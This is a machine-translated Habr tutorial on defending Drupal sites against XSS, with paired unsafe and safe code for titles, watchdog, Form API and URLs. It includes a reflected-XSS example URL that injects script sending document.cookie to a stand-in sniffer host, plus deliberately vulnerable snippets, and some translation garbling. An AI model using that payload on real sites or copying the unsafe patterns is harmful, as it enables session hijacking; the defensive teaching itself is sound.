📜 ⬆️ ⬇️

Safe code: Working with user input


(P2. Cross-site request forgery ; P2. Work with database )

Surely, XSS attacks remain the most popular along with SQL injections. Their principle is simple to ugliness, and the consequences vary from innocent distortion of the output of pages to getting the attacker complete control over the site.

Some XSS attack scenarios


')

Steady attack


Here is the simplest example of exactly how the theft of cookies occurs and how they are used.

And if under an ordinary account an attacker can harm within the rights of this account, then taking possession of the root account (under which 90% of our drupallers go) he can literally kill the site with those 60% of drupallers who do not make frequent backups.

Unstable attack



What does XSS mean in a link ? A very common example is a search form with this code.
<input type="text" value="<?php print($_GET['srch']); ?>"> .

Now, if you write site.ru/search.php?srch="><scrіpt>іmg=new Image();іmg.sr="http://snifsite/s.php" +document.cookie;</scrіpt> , we will receive cookies for each victim visiting this URL.

How to secure code from XSS?


The answer is simple - filter the output to the page.

Filtration methods in Drupal


The golden rule of working with data is to store user input in the database exactly in the form in which it was sent. Therefore, all filtering should be done at the stage of outputting user data to the page.

All user input can be divided into two types:
  1. Text without plain text


    Any user input that must be submitted as plain text must pass through the check_plain () function, which will turn quotes, ampersands and angle brackets into their HTML representation. Then, such text may already be inserted into the final HTML markup of the page.

    Most of the theme functions and APIs take in the string parameters, and, in one way or another, filter them :
    • t() : In this function, you can use several types of placeholders, which will be filtered in different ways:
      • ! variable - inserted without changes
      • @variable - will pass through check_plain() .
      • % variable - will go through the theme('placeholder') .

    • l() : The link text always passes through check_plain() , unless it is not explicitly set to $html .

    • Menu items and breadcrumbs : Headings are automatically filtered.

    • theme('placeholder', $variable) : (in the default implementation) incoming parameters are filtered.

    • Descriptions of blocks.

    • User names displayed via theme('username') (in the default implementation).

    • Form API #default_value and #options (only when #type == 'select').

    There are places where you should never forget about filtering :
    • Page headers set via drupal_set_title() . The headings in the body of the page are not filtered automatically so that the user has the opportunity to use there tags such as <em> . This does not apply to the title in the <title> , since from there all tags are always cut out. Note: The situation has changed in Drupal 7. Now, filtering will be carried out by default, and if you need to submit an HTML header, you will need to specify the corresponding parameter in the drupal_set_title() function.
      Example:
      drupal_set_title($node->title); //
      drupal_set_title(check_plain($node->title)); //

    • Block headers submitted via hook_block() . Same reason as with page headers.

    • System log messages (watchdog).

      Example:
      //Drupal 5:
      watchdog('content', t("Deleted !title", array('!title' => $node->title))); // XSS
      watchdog('content', t("Deleted %title", array('%title' => $node->title))); // @

      //Drupal 6 (The message and variables are passed through t() by the watchdog function):
      watchdog('content', "Deleted !title", array('!title' => $node->title)); // XSS
      watchdog('content', "Deleted %title", array('%title' => $node->title)); // @


    • Form API #description and #title .

      Examples:
      $form['bad'] = array(
      '#type' => 'textfield',
      '#default_value' => check_plain($u_supplied), // :
      '#description' => t("Old data: !data", array('!data' => $u_supplied)), // XSS
      );

      $form['good'] = array(
      '#type' => 'textfield',
      '#default_value' => $u_supplied,
      '#description' => t("Old data: @data", array('@data' => $u_supplied)),
      );


    • Form API #options when #type equals checkboxes or radios .

      Examples:
      $form['bad'] = array(
      '#type' => 'checkboxes',
      '#options' => array($u_supplied0, $u_supplied1),
      );

      $form['good'] = array(
      '#type' => 'checkboxes',
      '#options' => array(check_plain($u_supplied0), check_plain($u_supplied1)),
      );


    • Parameters Form API #value, if #type is equal to markup (remember that markup is the default value for #type ).

      Examples:
      $form['unsafe'] = array('#value' => $user->name); //XSS
      $form['safe'] = array('#value' => check_plain($user->name));
      //
      $form['safe'] = array('#value' => theme('username', $user));



  2. Marked text


    Tagged text needs to be filtered using check_markup () . This function accepts, besides the text itself, an input format that contains filtering rules. Therefore, when creating forms for text with markup, it makes sense to enter a widget next to the multi-line fields to select the input format ( filter_form () ).

    Please note that the user who views the markup text that has passed through check_markup() must have rights to view the selected input format. By default, this check is always performed. However, this is not always necessary, since the content is usually viewed by users with lesser rights than the one who created this content. Therefore, you can turn off rights verification during output by submitting the corresponding parameter to check_markup() . But you should always check these permissions using filter_access () when submitting the form itself with this content.

  3. URLs

    • The main part of the URL in the functions l () , url () , request_uri () is already filtered, but you need to take care of filtering the GET parameters and the anchor fragment yourself. This is necessary so that the accidental or deliberate presentation of the # symbol in the GET parameters does not spoil the entire URL. Use the urlencode () function to filter.

      Example:
      //
      l(t('Some link'), $path, array('query' => $query, 'fragment' => $fragment)); //
      l(t('Link'), urlencode($path), array('query' => $query, 'fragment' => $fragment)); //

      //
      l(t('Link'), $path, array('query' => urlencode($query), 'fragment' => urlencode($fragment)));


    • When displaying the URL to the page, pass it through check_url () , which causes not only check_plain() , but also validation of the URL protocol.

      Example:
      //
      print '<a href="/$url">';
      print '<a href="/'. check_plain($url) .'">';

      //
      print '<a href="/'. check_url($url) .'">';


- = Bonus = -


Video report "Introduction Security" from the last Drupalkon:

Download video (226Mb)

The remaining articles of the cycle "Safe Code"

Source: https://habr.com/ru/post/56291/


All Articles